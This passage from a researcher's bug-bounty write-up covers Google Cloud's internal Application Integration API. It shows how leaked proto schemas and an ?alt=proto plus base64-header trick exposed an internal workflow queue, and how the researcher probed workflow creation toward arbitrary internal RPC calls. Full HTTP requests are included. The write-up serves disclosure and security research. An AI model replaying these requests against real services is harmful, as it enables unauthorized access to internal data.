<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudcrmipfrontend-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>SAPISIDHASH &lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE</code></pre><blockquote>
<p>For authentication with this API, we are using Google&#39;s proprietary first-party authentication. This involves your Google account cookie header along with an <a href="https://gist.github.com/eyecatchup/2d700122e24154fdc985b7071ec7764a" target="_blank" rel="noopener noreferrer">Authorization header value calculated</a> using the <code>SAPISID</code> cookie as well as the whitelisted origin <strong><a href="https://console.cloud.google.com" target="_blank" rel="noopener noreferrer">https://console.cloud.google.com</a></strong></p>
</blockquote>
<p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;protoDescriptor&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;InnerTubeContext&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;field&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;client&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;number&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;label&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;LABEL_OPTIONAL&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;TYPE_MESSAGE&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;typeName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;.youtube.api.pfiinnertube.YoutubeApiInnertube.ClientInfo&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;jsonName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;client&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;user&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;number&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">3</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;label&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;LABEL_OPTIONAL&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;TYPE_MESSAGE&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;typeName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;.youtube.api.pfiinnertube.YoutubeApiInnertube.UserInfo&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;jsonName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;user&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
...</code></pre><p>This was massive, because in Google, everything is proto. All APIs are defined internally as gRPC services using protobuf, and this would essentially allow for disclosing the request/response body of any endpoint, which for a blackbox target like Google is a gold mine.</p>
<p>In the past, I had developed a tool <a href="https://github.com/ddd/req2proto" target="_blank" rel="noopener noreferrer">req2proto</a> for this purpose, however that tool was limited only to finding the request body proto, not the response body, and it was also with the assumption that the API supported JSPB (application/json+protobuf) which most APIs didn&#39;t. As a joke, my friends and I started referring to this endpoint from then onwards as &quot;req2proto as a service&quot;, since it was quite literally a hosted, much more powerful version of the tool.</p>
<p>Before probing further with this endpoint, I checked if there were any other endpoints leaking information.</p>
<h3 id="leaking-internal-workflow-execution-queue"><a class="anchor" href="#leaking-internal-workflow-execution-queue" aria-hidden="true">#</a>Leaking internal workflow execution queue</h3><p><img src="/assets/google-cloud-rce/list_quota_queue_endpoint.jpg" alt="" loading="lazy" /></p>
<p>Initially, without any query parameters set, this endpoint was just returning <strong>INVALID_ARGUMENT</strong> errors. Trying filters like <code>*</code> also didn&#39;t work. However, from past experience, these filter parameters usually allow any filtering in accordance with <a href="https://google.aip.dev/160" target="_blank" rel="noopener noreferrer">https://google.aip.dev/160</a></p>
<p>As such, upon trying <code>client_id&gt;&quot;123&quot;</code> as the filter, I got an interesting response:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">500</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Failed to convert server response to JSON&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INTERNAL&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>It looks like whatever response it was trying to give to me didn&#39;t have a JSON mapping. However, Google APIs support changing the response content-type via the standard <code>?alt=</code> parameter. For instance, <code>?alt=proto</code> would return the output in protobuf.</p>
<p>The only issue is that since we are using Google&#39;s proprietary first-party auth for authentication (Cookie and Authorization header), we have to send requests to the hostname <strong>cloudcrmipfrontend-pa.clients6.google.com</strong> instead of <code>cloudcrmipfrontend-pa.googleapis.com</code>, but Google does not allow raw proto responses to requests sent to *.google.com:</p>
<pre><code class="hljs language-http">Request unsafe for browser client domain: cloudcrmipfrontend-pa.clients6.google.com</code></pre><p>Thankfully, there&#39;s a way around this. We can use the header <code>X-Goog-Encode-Response-If-Executable: base64</code> and this would get the response back in base64 instead of binary data:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/integrationPlatform:listQuotaQueue?filter=client_id%3E%22123%22&amp;alt=proto</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudcrmipfrontend-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>SAPISIDHASH &lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
<span class="hljs-attribute">X-Goog-Encode-Response-If-Executable</span><span class="hljs-punctuation">: </span>base64</code></pre><p>The API returned a large base64 protobuf response. Using the proto definition leak from earlier to retrieve the schema for <code>ListQuotaQueueResponse</code>, I was able to decode it properly which revealed that this was some sort of internal workflow execution queue, which included workflows syncing data from <a href="https://cloud.google.com/spanner" target="_blank" rel="noopener noreferrer">Spanner</a> to Salesforce:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;queue_items&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;queued_request&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;queued_request_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;75a885e2-c611-43f7-b4e2-ae0d87bae789&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;client_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;default&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;workflow_name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;WriteToSfdc&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;priority&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;CRITICAL&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;received_timestamp&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1763057385562</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;event_execution_info_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;615cd9a9-9c0e-46ec-90df-91ee42ec9c37&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;event_execution_info&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;client_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;default&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;workflow_name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;WriteToSfdc&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;trigger_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;api_trigger/WriteToSfdc&quot;</span><span class="hljs-punctuation">,</span>
        ...
        <span class="hljs-attr">&quot;type_url&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;type.googleapis.com/enterprise.crm.datalayer.WriteToSfdcRequest&quot;</span><span class="hljs-punctuation">,</span>
        ...
        <span class="hljs-attr">&quot;sfdc_object&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;vector_account&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;001Kf00000wjeK3IAI&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;due_diligence__c&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Pending&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;due_diligence_sub_status__c&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1. PENDING DD - Initial Submission Review&quot;</span>
            ...</code></pre><p>Shortly after this, I filed a report for these vulnerabilities. Just a few hours later, it was marked as P0/S0 and got a 🎉 <strong>Nice catch!</strong></p>
<h3 id="escalating-further"><a class="anchor" href="#escalating-further" aria-hidden="true">#</a>Escalating further?</h3><p>After all this, I was convinced there was likely more to be found in this API, so I started looking at all the workflow endpoints. The API seemed to be related to Google Cloud&#39;s <a href="https://cloud.google.com/application-integration" target="_blank" rel="noopener noreferrer">Application Integration</a>.</p>
<p>It allows you to define a &quot;workflow&quot;, that you could supply with a <code>triggerConfig</code> for what should trigger the workflow, as well as <code>taskConfig</code> for what task should be triggered. The most interesting part was that looking at the discovery document, there seemed to be hints of a task called <code>GenericStubbyTypedTask</code> that you seemingly could configure the workflow to execute, which instantly set off red flags. </p>
<pre><code class="hljs language-json"><span class="hljs-attr">&quot;EnterpriseCrmEventbusProtoTaskUiModuleConfig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Task author would use this type to configure a config module.&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;EnterpriseCrmEventbusProtoTaskUiModuleConfig&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;properties&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;moduleId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ID of the config module.&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;enum&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        ...
        <span class="hljs-string">&quot;RPC_TYPED&quot;</span><span class="hljs-punctuation">,</span>
        ...
      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;enumDescriptions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        ...
        <span class="hljs-string">&quot;Configures a GenericStubbyTypedTask.&quot;</span><span class="hljs-punctuation">,</span>
        ...
      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span></code></pre><p>From <a href="https://sre.google/sre-book/production-environment/" target="_blank" rel="noopener noreferrer">Google's SRE book</a>:</p>
<blockquote>
<p>All of Google’s services communicate using a Remote Procedure Call (RPC) infrastructure named Stubby; an open source version, gRPC, is available. Often, an RPC call is made even when a call to a subroutine in the local program needs to be performed. This makes it easier to refactor the call into a different server if more modularity is needed, or when a server’s codebase grows.</p>
</blockquote>
<p>From my understanding on how this works, Borg (aka Google Production) follows a <a href="https://cloud.google.com/docs/security/beyondprod" target="_blank" rel="noopener noreferrer">security model</a> where every borgtask service has its own identity. When you send a request to a <code>*.googleapis.com</code> endpoint, the frontend service makes Stubby calls to backend services using its own prod service identity, while carrying your end-user context in a security ticket. If the ticket contains your Gaia user ID, backend services authorize the request as that user. Here are two examples of leaked security tickets from Google API error responses:</p>
<details><summary>Without authentication (anonymous)</summary><pre><code>com.google.apps.framework.auth.IamPermissionDeniedException:
  IAM authority does not have the permission &#39;cloudprivatecatalog.targets.get&#39;
  required for action PrivateCatalogV1Beta1-SearchProducts
  on resource &#39;&#39;.<p>Explanation:</p>
<p>Security Context:<br>  ValidatedSecurityContextWithSystemAuthorizationPolicy<br>    delegate = ValidatedSecurityContextWithRegistryHandle<br>      delegate = ValidatedSecurityContextWithObligations<br>        delegate = ValidatedIamSecurityContext<br>          user  = anonymous<br>          creds = EndUserCreds<br>            loggable_credential {<br>              type: SERVICE_CONTROL_TOKEN<br>            }<br>            access_assertion: ANONYMOUS<br>          peer =<br>            protocol                = loas<br>            psp_version             = 0<br>            level                   = strong_privacy_and_integrity<br>            host                    = jxcbu6.prod.google.com<br>            is_authenticated_host   = false<br>            role                    = cloud-commerce-catalog<br>            user                    = cloud-boq-clientapi-catalog<br>            is_delegated            = true<br>            jobname_chosen_by_user  = prod.cloud-commerce-catalog<br>          InternalIAMIdentity<br>            log = originator {<br>              scope: MDB_USER<br>              mdb_user {<br>                user_name: &quot;cloud-boq-clientapi-catalog&quot;<br>              }<br>            }</code></pre></details></p>
<details><summary>With first-party authentication (Gaia user)</summary><pre><code>com.google.apps.framework.auth.IamPermissionDeniedException:
  IAM authority does not have the permission &#39;resourcemanager.projects.get&#39;
  required for action GetServiceAccessStatus
  on resource &#39;projects/613988253758&#39;.<p>Explanation:</p>
<p>Security Context:<br>  ValidatedSecurityContextWithCloudPolicyChecks<br>    delegate = ValidatedSecurityContextWithCpeContext<br>      delegate = ValidatedSecurityContextWithObligations<br>        delegate = ValidatedSecurityContextWithRegistryHandle<br>          delegate = ContextWithGaiaMintToken<br>            delegate = ValidatedIamSecurityContext<br>              user  = gaiauser/0xaa22527678<br>              creds = EndUserCreds<br>                loggable_credential {<br>                  type: GAIA_MINT<br>                  loggable_gaia_mint { }<br>                }<br>                loggable_credential {<br>                  type: SERVICE_CONTROL_TOKEN<br>                }<br>              peer =<br>                protocol                = loas<br>                psp_version             = 0<br>                level                   = strong_privacy_and_integrity<br>                host                    = pjf8.prod.google.com<br>                is_authenticated_host   = false<br>                role                    = commerceorggovernance-clh<br>                gaiaId                  = 640201889743<br>                security_realm          = campus-dls<br>                is_delegated            = false<br>                borgcell                = pj<br>                task_id                 = 2<br>                user_type               = MDB_USER_NON_PERSON<br>                jobname_chosen_by_user  = prod.commerceorggovernance-clh<br>              InternalIAMIdentity<br>                log = originator {<br>                  scope: GAIA_USER<br>                  gaia_user {<br>                    user_id: 730720269944<br>                  }<br>                }</code></pre></details></p>
<p>In both cases, the <code>peer</code> block shows the prod service identity making the internal Stubby call. The difference is in the end-user context: the first ticket is <code>ANONYMOUS</code>, while the second carries a <code>GAIA_MINT</code> credential (when you use cookie or bearer authentication in Google, it&#39;s converted to a standard UberMint token which contains an embedded GaiaMint) meaning the backend authorizes the request as that Gaia user. This is so that a call to lets say <code>/ContactsService.ListContacts</code> only returns contacts for that authorized user.</p>
<p>If we can perform arbitrary Stubby queries as the integration platform&#39;s prod service identity, this would allow us to access a wide variety of RPCs ranging from sensitive user data to code execution depending on the privileges of the prod user. Hence, Google considers this as a massive increase in attack surface and hence <a href="https://www.ezequiel.tech/p/36k-google-app-engine-rce.html" target="_blank" rel="noopener noreferrer">considers this an RCE</a>.</p>
<p>Often times, even if you can get code execution in a borglet, unless you&#39;re particularly interested in what data is processed locally, the main impact is actually access to all of production via Stubby RPCs.</p>
<p>But what actually gates <em>which</em> RPCs you can call from a stolen Stubby primitive? Every Stubby service in Google has a defined <code>RpcSecurityPolicy</code> with a per-method allowlist. Here&#39;s a real one example from the Cloud SQL Speckle Boss process:</p>
<pre><code class="hljs language-yaml"><span class="hljs-string">mapping</span> {
  <span class="hljs-attr">rpc_method:</span> <span class="hljs-string">&quot;/SaasActuation.UpdateInstance&quot;</span>
  <span class="hljs-attr">rpc_method:</span> <span class="hljs-string">&quot;/MaintenancePolicyService.CreateMaintenancePolicy&quot;</span>
  <span class="hljs-string">...</span>
  <span class="hljs-string">authentication_policy</span> {
    <span class="hljs-string">creds_policy</span> {
      <span class="hljs-string">rules</span> {
        <span class="hljs-attr">permissions:</span> <span class="hljs-string">&quot;auth.creds.useProdUserEUC&quot;</span>
        <span class="hljs-attr">action:</span> <span class="hljs-string">ALLOW</span>
        <span class="hljs-attr">in:</span> <span class="hljs-string">&quot;mdb:zamm-exe-3-cloud-sql--default-policy&quot;</span>
        <span class="hljs-attr">in:</span> <span class="hljs-string">&quot;user:speckle-tool-proxy@prod.google.com&quot;</span>
      }
      <span class="hljs-string">rules</span> {
        <span class="hljs-attr">permissions:</span> <span class="hljs-string">&quot;auth.creds.useLOAS&quot;</span>
        <span class="hljs-attr">action:</span> <span class="hljs-string">ALLOW</span>
        <span class="hljs-attr">in:</span> <span class="hljs-string">&quot;allUsers&quot;</span>
      }
    }
  }
  <span class="hljs-attr">authorization_mode:</span> <span class="hljs-string">MANUAL_IAM</span>
  <span class="hljs-attr">permission_to_check:</span> <span class="hljs-string">&quot;cloudsql.instances.rollout&quot;</span>
}</code></pre><p>Each <code>mapping</code> block lists a set of RPC methods and declares which callers are allowed to invoke them under which credential type. Based on my understanding, <code>auth.creds.useLOAS</code> means &quot;any borgtask can call this with its own LOAS identity&quot; while <code>auth.creds.useProdUserEUC</code> means &quot;only these specific MDB groups are allowed to forward a Gaia end-user identity (i.e. an UberMint token) into the call&quot;.</p>
<blockquote>
<p>LOAS (Low Overhead Authentication System) is Google&#39;s internal authentication &amp; encryption framework, see <a href="https://www.usenix.org/system/files/login/articles/login_winter16_05_cittadini.pdf" target="_blank" rel="noopener noreferrer">this paper</a> for more information</p>
</blockquote>
<p>The <code>permission_to_check</code> then tells the backend which IAM permission to enforce on whatever identity ends up resolved.</p>
<p>So even with a stolen Stubby primitive, you don&#39;t actually get to call every RPC under the sun. You can only reach the ones whose <code>RpcSecurityPolicy</code> lets your peer identity through. Nevertheless, it is a massive increase in reachable attack surface.</p>
<p>When I initially tried to create a workflow, I got the following <strong>INVALID_ARGUMENT</strong> error:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/integrationPlatform:createDraftWorkflow</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudcrmipfrontend-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>SAPISIDHASH &lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>197

<span class="language-prolog">{
  <span class="hljs-string">&quot;workflow&quot;</span>: {
    <span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;my-new-workflow-test&quot;</span>,
    <span class="hljs-string">&quot;origin&quot;</span>: <span class="hljs-string">&quot;UI&quot;</span>,
    <span class="hljs-string">&quot;triggerConfigs&quot;</span>: [],
    <span class="hljs-string">&quot;taskConfigs&quot;</span>: []
  },
  <span class="hljs-string">&quot;isNewWorkflow&quot;</span>: true
}</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">400</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Request contains an invalid argument.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INVALID_ARGUMENT&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><blockquote>
<p>Fun fact: If this request was sent from within Google&#39;s intranet, it would dump the full stack trace instead of just a generic error like this.</p>
</blockquote>
<p>I suspected that I was likely missing a required argument, possibly <strong>clientId</strong>. Remembering that the listQuotaQueue response from earlier had leaked <code>&quot;client_id&quot;: &quot;default&quot;</code>, I tried setting that as the <code>clientId</code>, and it worked:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/integrationPlatform:createDraftWorkflow</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudcrmipfrontend-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>SAPISIDHASH &lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>197

<span class="language-prolog">{
  <span class="hljs-string">&quot;workflow&quot;</span>: {
    <span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;my-new-workflow-test&quot;</span>,
    <span class="hljs-string">&quot;origin&quot;</span>: <span class="hljs-string">&quot;UI&quot;</span>,
    <span class="hljs-string">&quot;clientId&quot;</span>: <span class="hljs-string">&quot;default&quot;</span>,
    <span class="hljs-string">&quot;triggerConfigs&quot;</span>: [],
    <span class="hljs-string">&quot;taskConfigs&quot;</span>: []
  },
  <span class="hljs-string">&quot;isNewWorkflow&quot;</span>: true
}</span></code></pre><p><strong>Response:</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;workflow&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;workflowId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;53b2a49c-dd5e-4e45-829b-61a3b2e8ff6e&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;my-new-workflow-test&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;origin&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;UI&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;creatorEmail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;admin@gvrptest.cry.dev&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;createdTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-12-01T04:19:14.449503Z&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;lastModifiedTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-12-01T04:19:14.449503Z&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;DRAFT&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;snapshotNumber&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;tags&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-string">&quot;HEAD&quot;</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;lockedBy&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;admin@gvrptest.cry.dev&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;lockedAtTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-12-01T04:19:14.449503Z&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;lastModifierEmail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;admin@gvrptest.cry.dev&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;clientId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;default&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>However, it seemed in order to run a workflow, you had to publish it first, but that&#39;s where I got stuck:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/integrationPlatform:publishWorkflow</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudcrmipfrontend-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>SAPISIDHASH &lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-subunit">{
  &quot;workflowId&quot;: &quot;53b2a49c-dd5e<span class="hljs-string">-4</span>e45<span class="hljs-string">-829</span>b<span class="hljs-string">-61</span>a3b2e8ff6e&quot;
}</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Publisher admin@gvrptest.cry.dev cannot be the same as the last editor admin@gvrptest.cry.dev of the integration my-new-workflow-test with snapshot number 1 and integration ID 53b2a49c-dd5e-4e45-829b-61a3b2e8ff6e being edited from the UI. Please raise a Request to Publish and have your change approved by another person.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PERMISSION_DENIED&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>I had to somehow add another user to the workflow, and use that to publish. At the time, I attempted to use the ACL endpoints to add another account, but wasn&#39;t able to get the permissions to work correctly.</p>
<h3 id="the-dm-that-changed-everything"><a class="anchor" href="#the-dm-that-changed-everything" aria-hidden="true">#</a>The DM that changed everything</h3><p>More than a month after I initially reported it, I was in a discord group chat with a few other researchers, where I jokingly mentioned that I had a bug to leak protobuf definitions within Google:</p>
<p><img src="/assets/google-cloud-rce/discord_dm.jpg" alt="" loading="lazy" /></p>
